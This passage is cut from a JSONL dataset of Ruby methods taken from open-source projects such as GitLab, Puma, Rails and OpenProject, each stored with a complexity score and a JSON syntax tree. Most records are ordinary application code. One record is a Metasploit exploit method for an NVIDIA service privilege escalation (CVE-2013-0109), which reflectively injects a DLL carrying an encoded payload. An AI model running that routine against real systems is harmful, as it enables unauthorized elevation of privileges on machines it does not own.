end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"p_duo_workflows_checkpoints\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPTIONS\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigserial\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"workflow_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"thread_ts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"parent_ts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"checkpoint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"workflow_id\"]},{\"type\":\"sym\",\"children\":[\"thread_ts\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_p_duo_workflows_checkpoints_thread\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_multi_column_not_null_constraint\",{\"type\":\"sym\",\"children\":[\"p_duo_workflows_checkpoints\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"sym\",\"children\":[\"p_duo_workflows_checkpoints\"]},{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"sym\",\"children\":[\"p_duo_workflows_checkpoints\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"sym\",\"children\":[\"p_duo_workflows_checkpoints\"]},{\"type\":\"sym\",\"children\":[\"duo_workflows_workflows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"workflow_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"53373c08-3017-4cc7-8ce2-5edae207031e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/enterprise/inbox.rb","start_line":10,"raw_source":"def active_bot?\n    super || captain_active?\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"active_bot?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"captain_active?\"]}]}]}","id":"33d1a025-6e7a-4508-a417-8b5918f5a1a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/base_enum.rb","start_line":65,"raw_source":"def authorized?(object, context)\n        authorization.ok?(object, context[:current_user], scope_validator: context[:scope_validator])\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorization\"]},\"ok?\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}]}","id":"47c8c08e-25ba-4c68-bd08-21a254c48fe8"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/binder.rb","start_line":80,"raw_source":"def create_inherited_fds(env_hash)\n      env_hash.select {|k,v| k =~ /PUMA_INHERIT_\\d+/}.each do |_k, v|\n        fd, url = v.split(\":\", 2)\n        @inherited_fds[url] = fd.to_i\n      end.keys # pass keys back for removal\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_inherited_fds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_hash\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PUMA_INHERIT_\\\\d+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fd\"]},{\"type\":\"lvasgn\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inherited_fds\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"to_i\"]}]}]}]},\"keys\"]}]}","id":"48b9149c-863b-4a6d-8a84-1e381ab51172"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/push_event.rb","start_line":88,"raw_source":"def rm_ref?\n    push_event_payload.removed?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rm_ref?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_event_payload\"]},\"removed?\"]}]}","id":"de842d64-38e7-442f-9533-2ee3e203ad8d"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":222,"raw_source":"def source_path\n        app? ? root.join(APP_DIR) : root\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"source_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"APP_DIR\"]}]},{\"type\":\"send\",\"children\":[null,\"root\"]}]}]}","id":"7aeb955b-79e6-45c3-ab3e-5a9ec1aeb894"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20230224165056_create_classification_results_table.rb","start_line":3,"raw_source":"def change\n    create_table :classification_results do |t|\n      t.string :model_used, null: true\n      t.string :classification_type, null: true\n      t.integer :target_id, null: true\n      t.string :target_type, null: true\n\n      t.jsonb :classification, null: true\n      t.timestamps\n    end\n\n    add_index :classification_results,\n              %i[target_id target_type model_used],\n              unique: true,\n              name: \"unique_classification_target_per_type\"\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"classification_results\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"model_used\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"classification_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"classification\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"classification_results\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"sym\",\"children\":[\"model_used\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_classification_target_per_type\"]}]}]}]}]}]}","id":"d0d30478-0ea9-4032-8a45-173a036c14be"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/dot.rb","start_line":236,"raw_source":"def visit_Arel_Nodes_Case(o)\n          visit_edge(o, \"case\")\n          visit_edge(o, \"conditions\")\n          visit_edge(o, \"default\")\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_Case\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"case\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"conditions\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}","id":"3c2db573-6014-4f4e-912f-79b72a50f2cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/link_renderer.rb","start_line":37,"raw_source":"def merge_get_params(url_params)\n      params = super\n      allowed_params ? params.slice(*allowed_params) : params\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_get_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_params\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"8763de3a-8091-4c68-aa0c-ce7e9edc78aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/base_service.rb","start_line":60,"raw_source":"def milestones\n      return [] unless param_for_milestones_exists?\n\n      strong_memoize(:milestones) do\n        MilestonesFinder.new(\n          project: project,\n          current_user: current_user,\n          project_ids: Array(project.id),\n          group_ids: Array(project_group_id),\n          state: 'all',\n          title: params[:milestones],\n          ids: params[:milestone_ids]\n        ).execute\n      end\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"milestones\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"param_for_milestones_exists?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MilestonesFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"project_group_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_ids\"]}]}]}]}]},\"execute\"]}]}]}]}","id":"f276b8ae-3f0a-4814-bbd3-772af71f6988"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/paginated_tree_resolver_spec.rb","start_line":122,"raw_source":"def resolve_repository(args, opts = {})\n    field_options = {\n      owner: resolver_parent,\n      resolver: described_class,\n      connection_extension: Gitlab::Graphql::Extensions::ExternallyPaginatedArrayExtension\n    }.merge(opts)\n\n    field = ::Types::BaseField.from_options('field_value', **field_options)\n    resolve_field(field, repository, args: args, object_type: resolver_parent)\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_repository\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"send\",\"children\":[null,\"resolver_parent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolver\"]},{\"type\":\"send\",\"children\":[null,\"described_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_extension\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Extensions\"]},\"ExternallyPaginatedArrayExtension\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"BaseField\"]},\"from_options\",{\"type\":\"str\",\"children\":[\"field_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve_field\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[null,\"repository\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"send\",\"children\":[null,\"resolver_parent\"]}]}]}]}]}]}","id":"ed54a09f-7b2c-4645-9df8-a32cf620108b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handler/system_hook.rb","start_line":56,"raw_source":"def generate_notes(commit, payload)\n        commit_id = commit[\"id\"]\n        I18n.t(\"gitlab_integration.push_single_commit_comment\",\n               commit_number: commit_id[0, 8],\n               commit_note: commit[\"message\"].presence || commit[\"title\"],\n               commit_url: commit[\"url\"],\n               commit_timestamp: commit[\"timestamp\"],\n               repository: payload.repository.name,\n               repository_url: payload.repository.homepage,\n               gitlab_user: payload.user_name,\n               gitlab_user_url: payload.user_avatar)\n      end","complexity_score":19.85,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"gitlab_integration.push_single_commit_comment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_id\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_note\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"repository\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"repository\"]},\"homepage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"user_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_user_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"user_avatar\"]}]}]}]}]}]}","id":"d4ffc2ae-4cd5-4c1b-a24f-f274cbfb7347"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/nvidia_nvsvc.rb","start_line":129,"raw_source":"def exploit\n    if is_system?\n      fail_with(Failure::None, 'Session is already elevated')\n    end\n\n    unless check == Exploit::CheckCode::Vulnerable\n      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')\n    end\n\n    print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...')\n\n    # invoke the exploit, passing in the address of the payload that\n    # we want invoked on successful exploitation.\n    library_path = ::File.join(Msf::Config.data_directory,\n                               'exploits',\n                               'CVE-2013-0109',\n                               'nvidia_nvsvc.x86.dll')\n    encoded_payload = payload.encoded\n    # Forceably run the a 32-bit process because our payload is 32-bit even though\n    # we're running on x64.\n    execute_dll(library_path, encoded_payload)\n\n    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"None\"]},{\"type\":\"str\",\"children\":[\"Session is already elevated\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Exploit not available on this system.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"library_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-0109\"]},{\"type\":\"str\",\"children\":[\"nvidia_nvsvc.x86.dll\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_dll\",{\"type\":\"lvar\",\"children\":[\"library_path\"]},{\"type\":\"lvar\",\"children\":[\"encoded_payload\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Exploit finished, wait for (hopefully privileged) payload execution to complete.\"]}]}]}]}","id":"cdcc25b6-5c7a-4580-97c2-17eb5a414b30"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/cancel_editing_spec.rb","start_line":61,"raw_source":"def expect_subject(val)\n    subject = page.find_by_id(\"wp-new-inline-edit--field-subject\")\n    expect(subject.value).to eq(val)\n  